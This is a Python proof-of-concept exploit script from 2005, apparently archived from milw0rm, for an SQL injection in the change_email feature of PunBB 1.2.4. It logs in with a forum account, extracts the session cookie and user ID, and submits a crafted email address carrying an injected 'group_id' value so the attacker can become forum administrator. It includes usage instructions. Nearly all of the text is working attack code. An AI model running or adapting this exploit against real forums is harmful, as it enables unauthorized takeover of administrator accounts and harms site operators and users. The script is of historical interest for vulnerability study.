PunBB 1.2.4 (change_email) SQL Injection Exploit#!/usr/bin/python
#######################################################################
#  _  _                _                     _       ___  _  _  ___
# | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \
# | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/
# |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|
#
#######################################################################
#         Proof of concept code from the Hardened-PHP Project
#######################################################################
#
#                           -= PunBB 1.2.4 =-
#                   change_email SQL injection exploit
#
#  user-supplied data within the database is still user-supplied data
#
#######################################################################

import urllib
import getopt
import sys
import string

__argv__ = sys.argv

def banner():
   print `PunBB 1.2.4 - change_email SQL injection exploit`
   print `Copyright (C) 2005 Hardened-PHP Project\n`

def usage():
   banner()
   print `Usage:\n`
   print `   $ ./punbb_change_email.py [options]\n`
   print `        -h http_url   url of the punBB forum to exploit`
   print `                      f.e. http://www.forum.net/punBB/`
   print `        -u username   punBB forum useraccount`
   print `        -p password   punBB forum userpassword`
   print `        -e email      email address where the admin leve activation email is sent`
   print `        -d domain     catch all domain to catch \`some-SQL-Query\`@domain emails`
   print ``
   sys.exit(-1)

def main():
   try:
       opts, args = getopt.getopt(sys.argv[1:], `h:u:p:e:d:`)
   except getopt.GetoptError:
       usage()

   if len(__argv__) < 10:
       usage()

   username = None
   password = None
   email = None
   domain = None
   host = None
   for o, arg in opts:
       if o == `-h`:
           host = arg
       if o == `-u`:
           username = arg
       if o == `-p`:
           password = arg
       if o == `-e`:
           email = arg
       if o == `-d`:
           domain = arg

   # Printout banner
   banner()

   # Check if everything we need is there
   if host == None:
       print `[-] need a host to connect to`
       sys.exit(-1)
   if username == None:
       print `[-] username needed to continue`
       sys.exit(-1)
   if password == None:
       print `[-] password needed to continue`
       sys.exit(-1)
   if email == None:
       print `[-] email address needed to continue`
       sys.exit(-1)
   if domain == None:
       print `[-] catch all domain needed to continue`
       sys.exit(-1)

   # Retrive cookie
   params = {
       'req_username' : username,
       'req_password' : password,
       'form_sent' : 1
   }

   wclient = urllib.URLopener()

   print `[+] Connecting to retrieve cookie`

   req = wclient.open(host + `/login.php?action=in`, urllib.urlencode(params))
   info = req.info()
   if 'set-cookie' not in info:
       print `[-] Unable to retrieve cookie... something is wrong`
       sys.exit(-3)
   cookie = info['set-cookie']
   cookie = cookie[:string.find(cookie, ';')]
   print `[+] Cookie found - extracting user_id`
   user_id = cookie[string.find(cookie, `%3A%22`)+6:string.find(cookie, `%22%3B`)]
   print `[+] User-ID: %d` % (int(user_id))
   wclient.addheader('Cookie', cookie);

   email = '`' + email[:string.find(email, '@')] + '`@' + email[string.find(email, '@')+1:] + ',`\','
   append = 'group_id=\'1'
   email = email + ( ((50-len(append))-len(email)) * ' ' ) + append + '`@' + domain

   params = {
       'req_new_email' : email,
       'form_sent' : 1
   }

   print `[+] Connecting to request change email`
   req = wclient.open(host + `profile.php?action=change_email&amp;id=` + user_id, urllib.urlencode(params))

   print `[+] Done... Now wait for the email. Log into punBB, go to the link in the email and become admin`

if __name__ == `__main__`:
   main()

# milw0rm.com [2005-04-11]
